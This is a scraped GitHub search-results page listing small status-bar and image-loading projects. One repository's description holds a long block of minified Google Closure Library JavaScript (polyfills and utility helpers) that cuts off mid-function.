50 skills found · Page 1 of 2
guolindev / ImmersiveStatusBarA demo test to show immersive status bar with dynamic status bar icon adaption.
raphamorim / ImgStatus[855bytes] Detect when images have been loaded without jQuery
jimmysuncpt / ImmersionStatusBarAndroid沉浸式状态栏
vohidjon123 / Google(function(sttc){/* Copyright The Closure Library Authors. SPDX-License-Identifier: Apache-2.0 */ var n;function aa(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}}var ba="function"==typeof Object.defineProperties?Object.defineProperty:function(a,b,c){if(a==Array.prototype||a==Object.prototype)return a;a[b]=c.value;return a}; function ca(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("Cannot find global object");}var da=ca(this),ea="function"===typeof Symbol&&"symbol"===typeof Symbol("x"),p={},fa={};function r(a,b){var c=fa[b];if(null==c)return a[b];c=a[c];return void 0!==c?c:a[b]} function ha(a,b,c){if(b)a:{var d=a.split(".");a=1===d.length;var e=d[0],f;!a&&e in p?f=p:f=da;for(e=0;e<d.length-1;e++){var g=d[e];if(!(g in f))break a;f=f[g]}d=d[d.length-1];c=ea&&"es6"===c?f[d]:null;b=b(c);null!=b&&(a?ba(p,d,{configurable:!0,writable:!0,value:b}):b!==c&&(void 0===fa[d]&&(a=1E9*Math.random()>>>0,fa[d]=ea?da.Symbol(d):"$jscp$"+a+"$"+d),ba(f,fa[d],{configurable:!0,writable:!0,value:b})))}} ha("Symbol",function(a){function b(f){if(this instanceof b)throw new TypeError("Symbol is not a constructor");return new c(d+(f||"")+"_"+e++,f)}function c(f,g){this.h=f;ba(this,"description",{configurable:!0,writable:!0,value:g})}if(a)return a;c.prototype.toString=function(){return this.h};var d="jscomp_symbol_"+(1E9*Math.random()>>>0)+"_",e=0;return b},"es6"); ha("Symbol.iterator",function(a){if(a)return a;a=(0,p.Symbol)("Symbol.iterator");for(var b="Array Int8Array Uint8Array Uint8ClampedArray Int16Array Uint16Array Int32Array Uint32Array Float32Array Float64Array".split(" "),c=0;c<b.length;c++){var d=da[b[c]];"function"===typeof d&&"function"!=typeof d.prototype[a]&&ba(d.prototype,a,{configurable:!0,writable:!0,value:function(){return ia(aa(this))}})}return a},"es6"); function ia(a){a={next:a};a[r(p.Symbol,"iterator")]=function(){return this};return a}function ja(a){return a.raw=a}function u(a){var b="undefined"!=typeof p.Symbol&&r(p.Symbol,"iterator")&&a[r(p.Symbol,"iterator")];return b?b.call(a):{next:aa(a)}}function ka(a){if(!(a instanceof Array)){a=u(a);for(var b,c=[];!(b=a.next()).done;)c.push(b.value);a=c}return a}function la(a,b){return Object.prototype.hasOwnProperty.call(a,b)} var ma=ea&&"function"==typeof r(Object,"assign")?r(Object,"assign"):function(a,b){for(var c=1;c<arguments.length;c++){var d=arguments[c];if(d)for(var e in d)la(d,e)&&(a[e]=d[e])}return a};ha("Object.assign",function(a){return a||ma},"es6");var na="function"==typeof Object.create?Object.create:function(a){function b(){}b.prototype=a;return new b},oa; if(ea&&"function"==typeof Object.setPrototypeOf)oa=Object.setPrototypeOf;else{var pa;a:{var qa={a:!0},ra={};try{ra.__proto__=qa;pa=ra.a;break a}catch(a){}pa=!1}oa=pa?function(a,b){a.__proto__=b;if(a.__proto__!==b)throw new TypeError(a+" is not extensible");return a}:null}var sa=oa; function v(a,b){a.prototype=na(b.prototype);a.prototype.constructor=a;if(sa)sa(a,b);else for(var c in b)if("prototype"!=c)if(Object.defineProperties){var d=Object.getOwnPropertyDescriptor(b,c);d&&Object.defineProperty(a,c,d)}else a[c]=b[c];a.Ub=b.prototype}function ta(){for(var a=Number(this),b=[],c=a;c<arguments.length;c++)b[c-a]=arguments[c];return b} ha("Promise",function(a){function b(g){this.h=0;this.j=void 0;this.i=[];this.G=!1;var h=this.l();try{g(h.resolve,h.reject)}catch(k){h.reject(k)}}function c(){this.h=null}function d(g){return g instanceof b?g:new b(function(h){h(g)})}if(a)return a;c.prototype.i=function(g){if(null==this.h){this.h=[];var h=this;this.j(function(){h.m()})}this.h.push(g)};var e=da.setTimeout;c.prototype.j=function(g){e(g,0)};c.prototype.m=function(){for(;this.h&&this.h.length;){var g=this.h;this.h=[];for(var h=0;h<g.length;++h){var k= g[h];g[h]=null;try{k()}catch(l){this.l(l)}}}this.h=null};c.prototype.l=function(g){this.j(function(){throw g;})};b.prototype.l=function(){function g(l){return function(m){k||(k=!0,l.call(h,m))}}var h=this,k=!1;return{resolve:g(this.P),reject:g(this.m)}};b.prototype.P=function(g){if(g===this)this.m(new TypeError("A Promise cannot resolve to itself"));else if(g instanceof b)this.U(g);else{a:switch(typeof g){case "object":var h=null!=g;break a;case "function":h=!0;break a;default:h=!1}h?this.O(g):this.A(g)}}; b.prototype.O=function(g){var h=void 0;try{h=g.then}catch(k){this.m(k);return}"function"==typeof h?this.ga(h,g):this.A(g)};b.prototype.m=function(g){this.C(2,g)};b.prototype.A=function(g){this.C(1,g)};b.prototype.C=function(g,h){if(0!=this.h)throw Error("Cannot settle("+g+", "+h+"): Promise already settled in state"+this.h);this.h=g;this.j=h;2===this.h&&this.R();this.H()};b.prototype.R=function(){var g=this;e(function(){if(g.N()){var h=da.console;"undefined"!==typeof h&&h.error(g.j)}},1)};b.prototype.N= function(){if(this.G)return!1;var g=da.CustomEvent,h=da.Event,k=da.dispatchEvent;if("undefined"===typeof k)return!0;"function"===typeof g?g=new g("unhandledrejection",{cancelable:!0}):"function"===typeof h?g=new h("unhandledrejection",{cancelable:!0}):(g=da.document.createEvent("CustomEvent"),g.initCustomEvent("unhandledrejection",!1,!0,g));g.promise=this;g.reason=this.j;return k(g)};b.prototype.H=function(){if(null!=this.i){for(var g=0;g<this.i.length;++g)f.i(this.i[g]);this.i=null}};var f=new c; b.prototype.U=function(g){var h=this.l();g.ia(h.resolve,h.reject)};b.prototype.ga=function(g,h){var k=this.l();try{g.call(h,k.resolve,k.reject)}catch(l){k.reject(l)}};b.prototype.then=function(g,h){function k(t,y){return"function"==typeof t?function(F){try{l(t(F))}catch(z){m(z)}}:y}var l,m,q=new b(function(t,y){l=t;m=y});this.ia(k(g,l),k(h,m));return q};b.prototype.catch=function(g){return this.then(void 0,g)};b.prototype.ia=function(g,h){function k(){switch(l.h){case 1:g(l.j);break;case 2:h(l.j); break;default:throw Error("Unexpected state: "+l.h);}}var l=this;null==this.i?f.i(k):this.i.push(k);this.G=!0};b.resolve=d;b.reject=function(g){return new b(function(h,k){k(g)})};b.race=function(g){return new b(function(h,k){for(var l=u(g),m=l.next();!m.done;m=l.next())d(m.value).ia(h,k)})};b.all=function(g){var h=u(g),k=h.next();return k.done?d([]):new b(function(l,m){function q(F){return function(z){t[F]=z;y--;0==y&&l(t)}}var t=[],y=0;do t.push(void 0),y++,d(k.value).ia(q(t.length-1),m),k=h.next(); while(!k.done)})};return b},"es6");ha("Array.prototype.find",function(a){return a?a:function(b,c){a:{var d=this;d instanceof String&&(d=String(d));for(var e=d.length,f=0;f<e;f++){var g=d[f];if(b.call(c,g,f,d)){b=g;break a}}b=void 0}return b}},"es6"); ha("WeakMap",function(a){function b(g){this.h=(f+=Math.random()+1).toString();if(g){g=u(g);for(var h;!(h=g.next()).done;)h=h.value,this.set(h[0],h[1])}}function c(){}function d(g){var h=typeof g;return"object"===h&&null!==g||"function"===h}if(function(){if(!a||!Object.seal)return!1;try{var g=Object.seal({}),h=Object.seal({}),k=new a([[g,2],[h,3]]);if(2!=k.get(g)||3!=k.get(h))return!1;k.delete(g);k.set(h,4);return!k.has(g)&&4==k.get(h)}catch(l){return!1}}())return a;var e="$jscomp_hidden_"+Math.random(), f=0;b.prototype.set=function(g,h){if(!d(g))throw Error("Invalid WeakMap key");if(!la(g,e)){var k=new c;ba(g,e,{value:k})}if(!la(g,e))throw Error("WeakMap key fail: "+g);g[e][this.h]=h;return this};b.prototype.get=function(g){return d(g)&&la(g,e)?g[e][this.h]:void 0};b.prototype.has=function(g){return d(g)&&la(g,e)&&la(g[e],this.h)};b.prototype.delete=function(g){return d(g)&&la(g,e)&&la(g[e],this.h)?delete g[e][this.h]:!1};return b},"es6"); ha("Map",function(a){function b(){var h={};return h.L=h.next=h.head=h}function c(h,k){var l=h.h;return ia(function(){if(l){for(;l.head!=h.h;)l=l.L;for(;l.next!=l.head;)return l=l.next,{done:!1,value:k(l)};l=null}return{done:!0,value:void 0}})}function d(h,k){var l=k&&typeof k;"object"==l||"function"==l?f.has(k)?l=f.get(k):(l=""+ ++g,f.set(k,l)):l="p_"+k;var m=h.i[l];if(m&&la(h.i,l))for(h=0;h<m.length;h++){var q=m[h];if(k!==k&&q.key!==q.key||k===q.key)return{id:l,list:m,index:h,B:q}}return{id:l,list:m, index:-1,B:void 0}}function e(h){this.i={};this.h=b();this.size=0;if(h){h=u(h);for(var k;!(k=h.next()).done;)k=k.value,this.set(k[0],k[1])}}if(function(){if(!a||"function"!=typeof a||!a.prototype.entries||"function"!=typeof Object.seal)return!1;try{var h=Object.seal({x:4}),k=new a(u([[h,"s"]]));if("s"!=k.get(h)||1!=k.size||k.get({x:4})||k.set({x:4},"t")!=k||2!=k.size)return!1;var l=k.entries(),m=l.next();if(m.done||m.value[0]!=h||"s"!=m.value[1])return!1;m=l.next();return m.done||4!=m.value[0].x|| "t"!=m.value[1]||!l.next().done?!1:!0}catch(q){return!1}}())return a;var f=new p.WeakMap;e.prototype.set=function(h,k){h=0===h?0:h;var l=d(this,h);l.list||(l.list=this.i[l.id]=[]);l.B?l.B.value=k:(l.B={next:this.h,L:this.h.L,head:this.h,key:h,value:k},l.list.push(l.B),this.h.L.next=l.B,this.h.L=l.B,this.size++);return this};e.prototype.delete=function(h){h=d(this,h);return h.B&&h.list?(h.list.splice(h.index,1),h.list.length||delete this.i[h.id],h.B.L.next=h.B.next,h.B.next.L=h.B.L,h.B.head=null,this.size--, !0):!1};e.prototype.clear=function(){this.i={};this.h=this.h.L=b();this.size=0};e.prototype.has=function(h){return!!d(this,h).B};e.prototype.get=function(h){return(h=d(this,h).B)&&h.value};e.prototype.entries=function(){return c(this,function(h){return[h.key,h.value]})};e.prototype.keys=function(){return c(this,function(h){return h.key})};e.prototype.values=function(){return c(this,function(h){return h.value})};e.prototype.forEach=function(h,k){for(var l=this.entries(),m;!(m=l.next()).done;)m=m.value, h.call(k,m[1],m[0],this)};e.prototype[r(p.Symbol,"iterator")]=e.prototype.entries;var g=0;return e},"es6");function ua(a,b){a instanceof String&&(a+="");var c=0,d=!1,e={next:function(){if(!d&&c<a.length){var f=c++;return{value:b(f,a[f]),done:!1}}d=!0;return{done:!0,value:void 0}}};e[r(p.Symbol,"iterator")]=function(){return e};return e} ha("String.prototype.startsWith",function(a){return a?a:function(b,c){if(null==this)throw new TypeError("The 'this' value for String.prototype.startsWith must not be null or undefined");if(b instanceof RegExp)throw new TypeError("First argument to String.prototype.startsWith must not be a regular expression");var d=this.length,e=b.length;c=Math.max(0,Math.min(c|0,this.length));for(var f=0;f<e&&c<d;)if(this[c++]!=b[f++])return!1;return f>=e}},"es6");ha("globalThis",function(a){return a||da},"es_2020"); ha("Set",function(a){function b(c){this.h=new p.Map;if(c){c=u(c);for(var d;!(d=c.next()).done;)this.add(d.value)}this.size=this.h.size}if(function(){if(!a||"function"!=typeof a||!a.prototype.entries||"function"!=typeof Object.seal)return!1;try{var c=Object.seal({x:4}),d=new a(u([c]));if(!d.has(c)||1!=d.size||d.add(c)!=d||1!=d.size||d.add({x:4})!=d||2!=d.size)return!1;var e=d.entries(),f=e.next();if(f.done||f.value[0]!=c||f.value[1]!=c)return!1;f=e.next();return f.done||f.value[0]==c||4!=f.value[0].x|| f.value[1]!=f.value[0]?!1:e.next().done}catch(g){return!1}}())return a;b.prototype.add=function(c){c=0===c?0:c;this.h.set(c,c);this.size=this.h.size;return this};b.prototype.delete=function(c){c=this.h.delete(c);this.size=this.h.size;return c};b.prototype.clear=function(){this.h.clear();this.size=0};b.prototype.has=function(c){return this.h.has(c)};b.prototype.entries=function(){return this.h.entries()};b.prototype.values=function(){return r(this.h,"values").call(this.h)};b.prototype.keys=r(b.prototype, "values");b.prototype[r(p.Symbol,"iterator")]=r(b.prototype,"values");b.prototype.forEach=function(c,d){var e=this;this.h.forEach(function(f){return c.call(d,f,f,e)})};return b},"es6");ha("Array.prototype.keys",function(a){return a?a:function(){return ua(this,function(b){return b})}},"es6");ha("Array.prototype.values",function(a){return a?a:function(){return ua(this,function(b,c){return c})}},"es8");ha("Number.isNaN",function(a){return a?a:function(b){return"number"===typeof b&&isNaN(b)}},"es6"); ha("Promise.prototype.finally",function(a){return a?a:function(b){return this.then(function(c){return p.Promise.resolve(b()).then(function(){return c})},function(c){return p.Promise.resolve(b()).then(function(){throw c;})})}},"es9");var w=this||self;function va(a){a=a.split(".");for(var b=w,c=0;c<a.length;c++)if(b=b[a[c]],null==b)return null;return b}function wa(a){var b=typeof a;return"object"!=b?b:a?Array.isArray(a)?"array":b:"null"} function xa(a){var b=wa(a);return"array"==b||"object"==b&&"number"==typeof a.length}function ya(a){var b=typeof a;return"object"==b&&null!=a||"function"==b}function za(a){return Object.prototype.hasOwnProperty.call(a,Aa)&&a[Aa]||(a[Aa]=++Ba)}var Aa="closure_uid_"+(1E9*Math.random()>>>0),Ba=0;function Ca(a,b,c){return a.call.apply(a.bind,arguments)} function Da(a,b,c){if(!a)throw Error();if(2<arguments.length){var d=Array.prototype.slice.call(arguments,2);return function(){var e=Array.prototype.slice.call(arguments);Array.prototype.unshift.apply(e,d);return a.apply(b,e)}}return function(){return a.apply(b,arguments)}}function Ea(a,b,c){Function.prototype.bind&&-1!=Function.prototype.bind.toString().indexOf("native code")?Ea=Ca:Ea=Da;return Ea.apply(null,arguments)} function Fa(a,b){var c=Array.prototype.slice.call(arguments,1);return function(){var d=c.slice();d.push.apply(d,arguments);return a.apply(this,d)}}function Ga(a){var b=["__uspapi"],c=w;b[0]in c||"undefined"==typeof c.execScript||c.execScript("var "+b[0]);for(var d;b.length&&(d=b.shift());)b.length||void 0===a?c[d]&&c[d]!==Object.prototype[d]?c=c[d]:c=c[d]={}:c[d]=a}function Ha(a){return a};var Ia=(new Date).getTime();function Ja(a){return/^[\s\xa0]*([\s\S]*?)[\s\xa0]*$/.exec(a)[1]} function Ka(a,b){var c=0;a=Ja(String(a)).split(".");b=Ja(String(b)).split(".");for(var d=Math.max(a.length,b.length),e=0;0==c&&e<d;e++){var f=a[e]||"",g=b[e]||"";do{f=/(\d*)(\D*)(.*)/.exec(f)||["","","",""];g=/(\d*)(\D*)(.*)/.exec(g)||["","","",""];if(0==f[0].length&&0==g[0].length)break;c=La(0==f[1].length?0:parseInt(f[1],10),0==g[1].length?0:parseInt(g[1],10))||La(0==f[2].length,0==g[2].length)||La(f[2],g[2]);f=f[3];g=g[3]}while(0==c)}return c}function La(a,b){return a<b?-1:a>b?1:0};function Ma(){var a=w.navigator;return a&&(a=a.userAgent)?a:""}function x(a){return-1!=Ma().indexOf(a)};function Na(){return x("Trident")||x("MSIE")}function Oa(){return(x("Chrome")||x("CriOS"))&&!x("Edge")||x("Silk")}function Pa(a){var b={};a.forEach(function(c){b[c[0]]=c[1]});return function(c){return b[r(c,"find").call(c,function(d){return d in b})]||""}} function Qa(){var a=Ma();if(Na()){var b=/rv: *([\d\.]*)/.exec(a);if(b&&b[1])a=b[1];else{b="";var c=/MSIE +([\d\.]+)/.exec(a);if(c&&c[1])if(a=/Trident\/(\d.\d)/.exec(a),"7.0"==c[1])if(a&&a[1])switch(a[1]){case "4.0":b="8.0";break;case "5.0":b="9.0";break;case "6.0":b="10.0";break;case "7.0":b="11.0"}else b="7.0";else b=c[1];a=b}return a}c=RegExp("([A-Z][\\w ]+)/([^\\s]+)\\s*(?:\\((.*?)\\))?","g");b=[];for(var d;d=c.exec(a);)b.push([d[1],d[2],d[3]||void 0]);a=Pa(b);return x("Opera")?a(["Version","Opera"]): x("Edge")?a(["Edge"]):x("Edg/")?a(["Edg"]):x("Silk")?a(["Silk"]):Oa()?a(["Chrome","CriOS","HeadlessChrome"]):(a=b[2])&&a[1]||""};function Ra(a,b){for(var c=a.length,d="string"===typeof a?a.split(""):a,e=0;e<c;e++)e in d&&b.call(void 0,d[e],e,a)}function Sa(a,b){for(var c=a.length,d=[],e=0,f="string"===typeof a?a.split(""):a,g=0;g<c;g++)if(g in f){var h=f[g];b.call(void 0,h,g,a)&&(d[e++]=h)}return d}function Ta(a,b){for(var c=a.length,d=Array(c),e="string"===typeof a?a.split(""):a,f=0;f<c;f++)f in e&&(d[f]=b.call(void 0,e[f],f,a));return d} function Ua(a,b){for(var c=a.length,d="string"===typeof a?a.split(""):a,e=0;e<c;e++)if(e in d&&b.call(void 0,d[e],e,a))return!0;return!1}function Va(a,b){a:{for(var c=a.length,d="string"===typeof a?a.split(""):a,e=0;e<c;e++)if(e in d&&b.call(void 0,d[e],e,a)){b=e;break a}b=-1}return 0>b?null:"string"===typeof a?a.charAt(b):a[b]} function Wa(a,b){a:{for(var c="string"===typeof a?a.split(""):a,d=a.length-1;0<=d;d--)if(d in c&&b.call(void 0,c[d],d,a)){b=d;break a}b=-1}return 0>b?null:"string"===typeof a?a.charAt(b):a[b]}function Xa(a,b){a:if("string"===typeof a)a="string"!==typeof b||1!=b.length?-1:a.indexOf(b,0);else{for(var c=0;c<a.length;c++)if(c in a&&a[c]===b){a=c;break a}a=-1}return 0<=a}function Ya(a){var b=a.length;if(0<b){for(var c=Array(b),d=0;d<b;d++)c[d]=a[d];return c}return[]};function Za(a){Za[" "](a);return a}Za[" "]=function(){};var $a=Na();!x("Android")||Oa();Oa();!x("Safari")||Oa();var ab={},bb=null;var cb="undefined"!==typeof Uint8Array;var db="function"===typeof p.Symbol&&"symbol"===typeof(0,p.Symbol)()?(0,p.Symbol)(void 0):void 0;function eb(a,b){Object.isFrozen(a)||(db?a[db]|=b:void 0!==a.ma?a.ma|=b:Object.defineProperties(a,{ma:{value:b,configurable:!0,writable:!0,enumerable:!1}}))}function fb(a){var b;db?b=a[db]:b=a.ma;return null==b?0:b}function gb(a){eb(a,1);return a}function hb(a){return Array.isArray(a)?!!(fb(a)&2):!1}function ib(a){if(!Array.isArray(a))throw Error("cannot mark non-array as immutable");eb(a,2)};function jb(a){return null!==a&&"object"===typeof a&&!Array.isArray(a)&&a.constructor===Object}var kb,lb=Object.freeze(gb([]));function mb(a){if(hb(a.v))throw Error("Cannot mutate an immutable Message");}var nb="undefined"!=typeof p.Symbol&&"undefined"!=typeof p.Symbol.hasInstance;function ob(a){return{value:a,configurable:!1,writable:!1,enumerable:!1}};function pb(a){switch(typeof a){case "number":return isFinite(a)?a:String(a);case "object":if(a&&!Array.isArray(a)&&cb&&null!=a&&a instanceof Uint8Array){var b;void 0===b&&(b=0);if(!bb){bb={};for(var c="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789".split(""),d=["+/=","+/","-_=","-_.","-_"],e=0;5>e;e++){var f=c.concat(d[e].split(""));ab[e]=f;for(var g=0;g<f.length;g++){var h=f[g];void 0===bb[h]&&(bb[h]=g)}}}b=ab[b];c=Array(Math.floor(a.length/3));d=b[64]||"";for(e=f=0;f<a.length- 2;f+=3){var k=a[f],l=a[f+1];h=a[f+2];g=b[k>>2];k=b[(k&3)<<4|l>>4];l=b[(l&15)<<2|h>>6];h=b[h&63];c[e++]=g+k+l+h}g=0;h=d;switch(a.length-f){case 2:g=a[f+1],h=b[(g&15)<<2]||d;case 1:a=a[f],c[e]=b[a>>2]+b[(a&3)<<4|g>>4]+h+d}return c.join("")}}return a};function qb(a){var b=sb;b=void 0===b?tb:b;return ub(a,b)}function vb(a,b){if(null!=a){if(Array.isArray(a))a=ub(a,b);else if(jb(a)){var c={},d;for(d in a)Object.prototype.hasOwnProperty.call(a,d)&&(c[d]=vb(a[d],b));a=c}else a=b(a);return a}}function ub(a,b){for(var c=a.slice(),d=0;d<c.length;d++)c[d]=vb(c[d],b);Array.isArray(a)&&fb(a)&1&&gb(c);return c}function sb(a){if(a&&"object"==typeof a&&a.toJSON)return a.toJSON();a=pb(a);return Array.isArray(a)?qb(a):a} function tb(a){return cb&&null!=a&&a instanceof Uint8Array?new Uint8Array(a):a};function A(a,b,c){return-1===b?null:b>=a.l?a.i?a.i[b]:void 0:(void 0===c?0:c)&&a.i&&(c=a.i[b],null!=c)?c:a.v[b+a.j]}function B(a,b,c,d,e){d=void 0===d?!1:d;(void 0===e?0:e)||mb(a);b<a.l&&!d?a.v[b+a.j]=c:(a.i||(a.i=a.v[a.l+a.j]={}))[b]=c;return a}function wb(a,b,c,d){c=void 0===c?!0:c;d=void 0===d?!1:d;var e=A(a,b,d);null==e&&(e=lb);if(hb(a.v))c&&(ib(e),Object.freeze(e));else if(e===lb||hb(e))e=gb(e.slice()),B(a,b,e,d);return e}function xb(a,b){a=A(a,b);return null==a?a:!!a} function C(a,b,c){a=A(a,b);return null==a?c:a}function D(a,b,c){a=xb(a,b);return null==a?void 0===c?!1:c:a}function yb(a,b){a=A(a,b);a=null==a?a:+a;return null==a?0:a}function zb(a,b,c){var d=void 0===d?!1:d;return B(a,b,null==c?gb([]):Array.isArray(c)?gb(c):c,d)}function Ab(a,b,c){mb(a);0!==c?B(a,b,c):B(a,b,void 0,!1,!1);return a}function Bb(a,b,c,d){mb(a);(c=Cb(a,c))&&c!==b&&null!=d&&(a.h&&c in a.h&&(a.h[c]=void 0),B(a,c));return B(a,b,d)}function Db(a,b,c){return Cb(a,b)===c?c:-1} function Cb(a,b){for(var c=0,d=0;d<b.length;d++){var e=b[d];null!=A(a,e)&&(0!==c&&B(a,c,void 0,!1,!0),c=e)}return c}function G(a,b,c){if(-1===c)return null;a.h||(a.h={});var d=a.h[c];if(d)return d;var e=A(a,c,!1);if(null==e)return d;b=new b(e);hb(a.v)&&ib(b.v);return a.h[c]=b}function H(a,b,c){a.h||(a.h={});var d=hb(a.v),e=a.h[c];if(!e){var f=wb(a,c,!0,!1);e=[];d=d||hb(f);for(var g=0;g<f.length;g++)e[g]=new b(f[g]),d&&ib(e[g].v);d&&(ib(e),Object.freeze(e));a.h[c]=e}return e} function Eb(a,b,c){var d=void 0===d?!1:d;mb(a);a.h||(a.h={});var e=c?c.v:c;a.h[b]=c;return B(a,b,e,d)}function Fb(a,b,c,d){mb(a);a.h||(a.h={});var e=d?d.v:d;a.h[b]=d;return Bb(a,b,c,e)}function Gb(a,b,c){var d=void 0===d?!1:d;mb(a);if(c){var e=gb([]);for(var f=0;f<c.length;f++)e[f]=c[f].v;a.h||(a.h={});a.h[b]=c}else a.h&&(a.h[b]=void 0),e=lb;return B(a,b,e,d)}function I(a,b){return C(a,b,"")}function Hb(a,b,c){return C(a,Db(a,c,b),0)}function Ib(a,b,c,d){return G(a,b,Db(a,d,c))};function Jb(a,b,c){a||(a=Kb);Kb=null;var d=this.constructor.messageId;a||(a=d?[d]:[]);this.j=(d?0:-1)-(this.constructor.h||0);this.h=void 0;this.v=a;a:{d=this.v.length;a=d-1;if(d&&(d=this.v[a],jb(d))){this.l=a-this.j;this.i=d;break a}void 0!==b&&-1<b?(this.l=Math.max(b,a+1-this.j),this.i=void 0):this.l=Number.MAX_VALUE}if(c)for(b=0;b<c.length;b++)if(a=c[b],a<this.l)a+=this.j,(d=this.v[a])?Array.isArray(d)&&gb(d):this.v[a]=lb;else{d=this.i||(this.i=this.v[this.l+this.j]={});var e=d[a];e?Array.isArray(e)&& gb(e):d[a]=lb}}Jb.prototype.toJSON=function(){var a=this.v;return kb?a:qb(a)};function Lb(a){kb=!0;try{return JSON.stringify(a.toJSON(),Mb)}finally{kb=!1}}function Nb(a,b){if(null==b||""==b)return new a;b=JSON.parse(b);if(!Array.isArray(b))throw Error("Expected to deserialize an Array but got "+wa(b)+": "+b);Kb=b;a=new a(b);Kb=null;return a}function Mb(a,b){return pb(b)}var Kb;function Ob(){Jb.apply(this,arguments)}v(Ob,Jb);if(nb){var Pb={};Object.defineProperties(Ob,(Pb[p.Symbol.hasInstance]=ob(function(){throw Error("Cannot perform instanceof checks for MutableMessage");}),Pb))};function J(){Ob.apply(this,arguments)}v(J,Ob);if(nb){var Qb={};Object.defineProperties(J,(Qb[p.Symbol.hasInstance]=ob(Object[p.Symbol.hasInstance]),Qb))};function Rb(a){J.call(this,a,-1,Sb)}v(Rb,J);function Tb(a){J.call(this,a)}v(Tb,J);var Sb=[2,3];function Ub(a,b){this.i=a===Vb&&b||"";this.h=Wb}var Wb={},Vb={};function Xb(a,b){var c={},d;for(d in a)b.call(void 0,a[d],d,a)&&(c[d]=a[d]);return c}function Yb(a,b){for(var c in a)if(b.call(void 0,a[c],c,a))return!0;return!1}function Zb(a){var b=[],c=0,d;for(d in a)b[c++]=a[d];return b}function $b(a){var b={},c;for(c in a)b[c]=a[c];return b};var ac;function bc(){if(void 0===ac){var a=null,b=w.trustedTypes;if(b&&b.createPolicy){try{a=b.createPolicy("goog#html",{createHTML:Ha,createScript:Ha,createScriptURL:Ha})}catch(c){w.console&&w.console.error(c.message)}ac=a}else ac=a}return ac};function cc(a,b){this.h=b===dc?a:""}function ec(a,b){a=fc.exec(gc(a).toString());var c=a[3]||"";return hc(a[1]+ic("?",a[2]||"",b)+ic("#",c))}cc.prototype.toString=function(){return this.h+""};function gc(a){return a instanceof cc&&a.constructor===cc?a.h:"type_error:TrustedResourceUrl"}var fc=/^([^?#]*)(\?[^#]*)?(#[\s\S]*)?/,dc={};function hc(a){var b=bc();a=b?b.createScriptURL(a):a;return new cc(a,dc)} function ic(a,b,c){if(null==c)return b;if("string"===typeof c)return c?a+encodeURIComponent(c):"";for(var d in c)if(Object.prototype.hasOwnProperty.call(c,d)){var e=c[d];e=Array.isArray(e)?e:[e];for(var f=0;f<e.length;f++){var g=e[f];null!=g&&(b||(b=a),b+=(b.length>a.length?"&":"")+encodeURIComponent(d)+"="+encodeURIComponent(String(g)))}}return b};function jc(a,b){this.h=b===kc?a:""}jc.prototype.toString=function(){return this.h.toString()};var kc={};/* SPDX-License-Identifier: Apache-2.0 */ var lc={};function mc(){}function nc(a){this.h=a}v(nc,mc);nc.prototype.toString=function(){return this.h.toString()};function oc(a){var b,c=null==(b=bc())?void 0:b.createScriptURL(a);return new nc(null!=c?c:a,lc)}function pc(a){if(a instanceof nc)return a.h;throw Error("");};function qc(a){return a instanceof mc?pc(a):gc(a)}function rc(a){return a instanceof jc&&a.constructor===jc?a.h:"type_error:SafeUrl"}function sc(a){return a instanceof mc?pc(a).toString():gc(a).toString()};var tc="alternate author bookmark canonical cite help icon license next prefetch dns-prefetch prerender preconnect preload prev search subresource".split(" ");function uc(a){return function(){return!a.apply(this,arguments)}}function vc(a){var b=!1,c;return function(){b||(c=a(),b=!0);return c}}function wc(a){var b=a;return function(){if(b){var c=b;b=null;c()}}};function xc(a,b,c){a.addEventListener&&a.addEventListener(b,c,!1)}function yc(a,b){a.removeEventListener&&a.removeEventListener("message",b,!1)};function zc(a){return String(a).replace(/\-([a-z])/g,function(b,c){return c.toUpperCase()})};function Ac(a,b,c){function d(h){h&&b.appendChild("string"===typeof h?a.createTextNode(h):h)}for(var e=1;e<c.length;e++){var f=c[e];if(!xa(f)||ya(f)&&0<f.nodeType)d(f);else{a:{if(f&&"number"==typeof f.length){if(ya(f)){var g="function"==typeof f.item||"string"==typeof f.item;break a}if("function"===typeof f){g="function"==typeof f.item;break a}}g=!1}Ra(g?Ya(f):f,d)}}}function Bc(a){this.h=a||w.document||document}n=Bc.prototype;n.getElementsByTagName=function(a,b){return(b||this.h).getElementsByTagName(String(a))}; n.createElement=function(a){var b=this.h;a=String(a);"application/xhtml+xml"===b.contentType&&(a=a.toLowerCase());return b.createElement(a)};n.createTextNode=function(a){return this.h.createTextNode(String(a))};n.append=function(a,b){Ac(9==a.nodeType?a:a.ownerDocument||a.document,a,arguments)}; n.contains=function(a,b){if(!a||!b)return!1;if(a.contains&&1==b.nodeType)return a==b||a.contains(b);if("undefined"!=typeof a.compareDocumentPosition)return a==b||!!(a.compareDocumentPosition(b)&16);for(;b&&a!=b;)b=b.parentNode;return b==a};function Cc(){return!Dc()&&(x("iPod")||x("iPhone")||x("Android")||x("IEMobile"))}function Dc(){return x("iPad")||x("Android")&&!x("Mobile")||x("Silk")};var Ec=RegExp("^(?:([^:/?#.]+):)?(?://(?:([^\\\\/?#]*)@)?([^\\\\/?#]*?)(?::([0-9]+))?(?=[\\\\/?#]|$))?([^?#]+)?(?:\\?([^#]*))?(?:#([\\s\\S]*))?$"),Fc=/#|$/;function Gc(a){var b=a.search(Fc),c;a:{for(c=0;0<=(c=a.indexOf("client",c))&&c<b;){var d=a.charCodeAt(c-1);if(38==d||63==d)if(d=a.charCodeAt(c+6),!d||61==d||38==d||35==d)break a;c+=7}c=-1}if(0>c)return null;d=a.indexOf("&",c);if(0>d||d>b)d=b;c+=7;return decodeURIComponent(a.substr(c,d-c).replace(/\+/g," "))};function Hc(a){try{var b;if(b=!!a&&null!=a.location.href)a:{try{Za(a.foo);b=!0;break a}catch(c){}b=!1}return b}catch(c){return!1}}function Ic(a){return Hc(a.top)?a.top:null} function Lc(a,b){var c=Mc("SCRIPT",a);c.src=qc(b);var d,e;(d=(b=null==(e=(d=(c.ownerDocument&&c.ownerDocument.defaultView||window).document).querySelector)?void 0:e.call(d,"script[nonce]"))?b.nonce||b.getAttribute("nonce")||"":"")&&c.setAttribute("nonce",d);return(a=a.getElementsByTagName("script")[0])&&a.parentNode?(a.parentNode.insertBefore(c,a),c):null}function Nc(a,b){return b.getComputedStyle?b.getComputedStyle(a,null):a.currentStyle} function 